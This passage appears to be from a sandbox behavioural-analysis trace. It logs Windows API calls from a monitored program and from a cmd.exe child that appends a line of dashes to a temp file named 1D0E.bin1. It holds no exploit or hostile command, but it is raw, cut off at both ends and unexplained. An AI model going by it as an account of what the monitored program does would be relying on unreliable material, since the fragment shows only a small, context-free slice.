(HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f59e0) returned 0x20 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59e0 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a10) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5a10) returned 0x20 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a10 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a40) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5a40) returned 0x20 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a40 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb570) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb570) returned 0x18 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb570 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a70) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5a70) returned 0x20 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a70 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b00) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b00) returned 0x20 [0148.682] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b00 | out: hHeap=0x2e0000) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb590) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb590) returned 0x18 [0148.682] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb590 | out: hHeap=0x2e0000) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b30) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b30) returned 0x20 [0148.682] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b30 | out: hHeap=0x2e0000) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb510) returned 1 [0148.682] GetProcessHeap () returned 0x2e0000 [0148.682] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb510) returned 0x18 [0148.682] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb510 | out: hHeap=0x2e0000) returned 1 [0148.682] exit (_Code=0) Process: id = "41" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2a76d000" os_pid = "0x900" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 348 os_tid = 0x8f8 [0148.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x15fc30 | out: lpSystemTimeAsFileTime=0x15fc30*(dwLowDateTime=0xffc1e1b0, dwHighDateTime=0x1d51ed4)) [0148.760] GetCurrentProcessId () returned 0x900 [0148.760] GetCurrentThreadId () returned 0x8f8 [0148.760] GetTickCount () returned 0x3114e [0148.760] QueryPerformanceCounter (in: lpPerformanceCount=0x15fc38 | out: lpPerformanceCount=0x15fc38*=27328509679) returned 1 [0148.762] GetModuleHandleW (lpModuleName=0x0) returned 0x4ab10000 [0148.762] __set_app_type (_Type=0x1) [0148.762] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab37810) returned 0x0 [0148.762] __getmainargs (in: _Argc=0x4ab5a608, _Argv=0x4ab5a618, _Env=0x4ab5a610, _DoWildCard=0, _StartInfo=0x4ab3e0f4 | out: _Argc=0x4ab5a608, _Argv=0x4ab5a618, _Env=0x4ab5a610) returned 0 [0148.763] GetCurrentThreadId () returned 0x8f8 [0148.763] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8f8) returned 0x3c [0148.763] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0148.763] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0148.763] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.763] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0148.763] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x15fbc8 | out: phkResult=0x15fbc8*=0x0) returned 0x2 [0148.763] VirtualQuery (in: lpAddress=0x15fbb0, lpBuffer=0x15fb30, dwLength=0x30 | out: lpBuffer=0x15fb30*(BaseAddress=0x15f000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.763] VirtualQuery (in: lpAddress=0x60000, lpBuffer=0x15fb30, dwLength=0x30 | out: lpBuffer=0x15fb30*(BaseAddress=0x60000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.763] VirtualQuery (in: lpAddress=0x61000, lpBuffer=0x15fb30, dwLength=0x30 | out: lpBuffer=0x15fb30*(BaseAddress=0x61000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.763] VirtualQuery (in: lpAddress=0x64000, lpBuffer=0x15fb30, dwLength=0x30 | out: lpBuffer=0x15fb30*(BaseAddress=0x64000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.763] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x15fb30, dwLength=0x30 | out: lpBuffer=0x15fb30*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0148.763] GetConsoleOutputCP () returned 0x1b5 [0148.763] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab4bfe0 | out: lpCPInfo=0x4ab4bfe0) returned 1 [0148.764] SetConsoleCtrlHandler (HandlerRoutine=0x4ab33184, Add=1) returned 1 [0148.764] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.764] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0148.764] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.764] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab3e194 | out: lpMode=0x4ab3e194) returned 1 [0148.764] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.764] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0148.764] _get_osfhandle (_FileHandle=0) returned 0x3 [0148.764] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab3e198 | out: lpMode=0x4ab3e198) returned 1 [0148.765] _get_osfhandle (_FileHandle=0) returned 0x3 [0148.765] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0148.765] GetEnvironmentStringsW () returned 0x299ab0* [0148.765] GetProcessHeap () returned 0x280000 [0148.765] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa78) returned 0x29a530 [0148.765] FreeEnvironmentStringsW (penv=0x299ab0) returned 1 [0148.765] GetProcessHeap () returned 0x280000 [0148.765] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x29afb0 [0148.765] GetEnvironmentStringsW () returned 0x299ab0* [0148.765] GetProcessHeap () returned 0x280000 [0148.765] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa78) returned 0x29afd0 [0148.765] FreeEnvironmentStringsW (penv=0x299ab0) returned 1 [0148.765] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15ea88 | out: phkResult=0x15ea88*=0x44) returned 0x0 [0148.765] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x0, lpData=0x15eaa0*=0x18, lpcbData=0x15ea84*=0x1000) returned 0x2 [0148.765] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x1, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.765] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x0, lpData=0x15eaa0*=0x1, lpcbData=0x15ea84*=0x1000) returned 0x2 [0148.765] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x0, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x40, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x40, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x0, lpData=0x15eaa0*=0x40, lpcbData=0x15ea84*=0x1000) returned 0x2 [0148.766] RegCloseKey (hKey=0x44) returned 0x0 [0148.766] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15ea88 | out: phkResult=0x15ea88*=0x44) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x0, lpData=0x15eaa0*=0x40, lpcbData=0x15ea84*=0x1000) returned 0x2 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x1, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x0, lpData=0x15eaa0*=0x1, lpcbData=0x15ea84*=0x1000) returned 0x2 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x0, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x9, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x4, lpData=0x15eaa0*=0x9, lpcbData=0x15ea84*=0x4) returned 0x0 [0148.766] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15ea80, lpData=0x15eaa0, lpcbData=0x15ea84*=0x1000 | out: lpType=0x15ea80*=0x0, lpData=0x15eaa0*=0x9, lpcbData=0x15ea84*=0x1000) returned 0x2 [0148.766] RegCloseKey (hKey=0x44) returned 0x0 [0148.766] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2099 [0148.766] srand (_Seed=0x5cfd2099) [0148.766] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0148.766] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0148.766] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab4c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.766] GetProcessHeap () returned 0x280000 [0148.766] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x218) returned 0x29ba50 [0148.766] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29ba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0148.767] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab3f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0148.767] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab3f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.767] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab3f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0148.767] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0148.767] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0148.767] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0148.767] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0148.767] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0148.767] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0148.767] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0148.767] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0148.767] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0148.767] GetProcessHeap () returned 0x280000 [0148.767] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29a530 | out: hHeap=0x280000) returned 1 [0148.767] GetEnvironmentStringsW () returned 0x299ab0* [0148.767] GetProcessHeap () returned 0x280000 [0148.767] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa90) returned 0x29c710 [0148.767] FreeEnvironmentStringsW (penv=0x299ab0) returned 1 [0148.767] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab3f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.767] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab3f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0148.767] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0148.767] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0148.767] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0148.767] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0148.767] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0148.767] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0148.767] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0148.767] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0148.768] GetProcessHeap () returned 0x280000 [0148.768] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x38) returned 0x2964f0 [0148.768] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x15f890 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x15f890, lpFilePart=0x15f870 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x15f870*="system32") returned 0x13 [0148.768] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0148.768] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x15f5a0 | out: lpFindFileData=0x15f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x298340 [0148.768] FindClose (in: hFindFile=0x298340 | out: hFindFile=0x298340) returned 1 [0148.768] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x15f5a0 | out: lpFindFileData=0x15f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x298340 [0148.768] FindClose (in: hFindFile=0x298340 | out: hFindFile=0x298340) returned 1 [0148.768] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0148.768] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0148.768] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0148.768] GetProcessHeap () returned 0x280000 [0148.768] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c710 | out: hHeap=0x280000) returned 1 [0148.768] GetEnvironmentStringsW () returned 0x299ab0* [0148.768] GetProcessHeap () returned 0x280000 [0148.768] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xac0) returned 0x29bc70 [0148.768] FreeEnvironmentStringsW (penv=0x299ab0) returned 1 [0148.768] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab4c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.768] GetProcessHeap () returned 0x280000 [0148.768] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2964f0 | out: hHeap=0x280000) returned 1 [0148.768] GetProcessHeap () returned 0x280000 [0148.768] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4016) returned 0x29dc80 [0148.769] GetProcessHeap () returned 0x280000 [0148.769] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x98) returned 0x29c740 [0148.769] GetProcessHeap () returned 0x280000 [0148.769] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4010) returned 0x2a1ca0 [0148.770] GetProcessHeap () returned 0x280000 [0148.770] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4010) returned 0x2a5cc0 [0148.770] GetProcessHeap () returned 0x280000 [0148.770] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc80 | out: hHeap=0x280000) returned 1 [0148.770] GetConsoleOutputCP () returned 0x1b5 [0148.770] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab4bfe0 | out: lpCPInfo=0x4ab4bfe0) returned 1 [0148.770] GetUserDefaultLCID () returned 0x409 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab47b50, cchData=8 | out: lpLCData=":") returned 2 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x15f9a0, cchData=128 | out: lpLCData="0") returned 2 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x15f9a0, cchData=128 | out: lpLCData="0") returned 2 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x15f9a0, cchData=128 | out: lpLCData="1") returned 2 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab5a740, cchData=8 | out: lpLCData="/") returned 2 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab5a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab5a460, cchData=32 | out: lpLCData="Tue") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab5a420, cchData=32 | out: lpLCData="Wed") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab5a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab5a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab5a360, cchData=32 | out: lpLCData="Sat") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab5a700, cchData=32 | out: lpLCData="Sun") returned 4 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab47b40, cchData=8 | out: lpLCData=".") returned 2 [0148.771] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab5a4e0, cchData=8 | out: lpLCData=",") returned 2 [0148.771] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0148.772] GetProcessHeap () returned 0x280000 [0148.772] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x20c) returned 0x29c7e0 [0148.772] GetConsoleTitleW (in: lpConsoleTitle=0x29c7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.772] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0148.772] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0148.772] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0148.772] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0148.772] GetProcessHeap () returned 0x280000 [0148.773] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4012) returned 0x29dc80 [0148.773] GetProcessHeap () returned 0x280000 [0148.773] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc80 | out: hHeap=0x280000) returned 1 [0148.773] _wcsicmp (_String1="echo", _String2=")") returned 60 [0148.773] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0148.773] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0148.773] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0148.773] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0148.773] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0148.773] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0148.773] GetProcessHeap () returned 0x280000 [0148.773] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xb0) returned 0x29ca00 [0148.773] GetProcessHeap () returned 0x280000 [0148.773] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1a) returned 0x2945f0 [0148.773] GetProcessHeap () returned 0x280000 [0148.773] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x26) returned 0x294620 [0148.773] GetProcessHeap () returned 0x280000 [0148.773] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x38) returned 0x2964f0 [0148.776] GetProcessHeap () returned 0x280000 [0148.776] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x6e) returned 0x29cac0 [0148.776] GetProcessHeap () returned 0x280000 [0148.777] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x28) returned 0x294650 [0148.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.777] GetFileType (hFile=0x7) returned 0x2 [0148.777] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0148.777] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x15f878 | out: lpMode=0x15f878) returned 1 [0148.777] _dup (_FileHandle=1) returned 3 [0148.777] _close (_FileHandle=1) returned 0 [0148.778] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0148.778] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x15f828, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0148.778] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0148.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.778] GetFileType (hFile=0x50) returned 0x1 [0148.778] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbf90 [0148.778] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x15f888*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x15f888*=0) returned 0xbf8f [0148.778] ReadFile (in: hFile=0x50, lpBuffer=0x15f878, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f820, 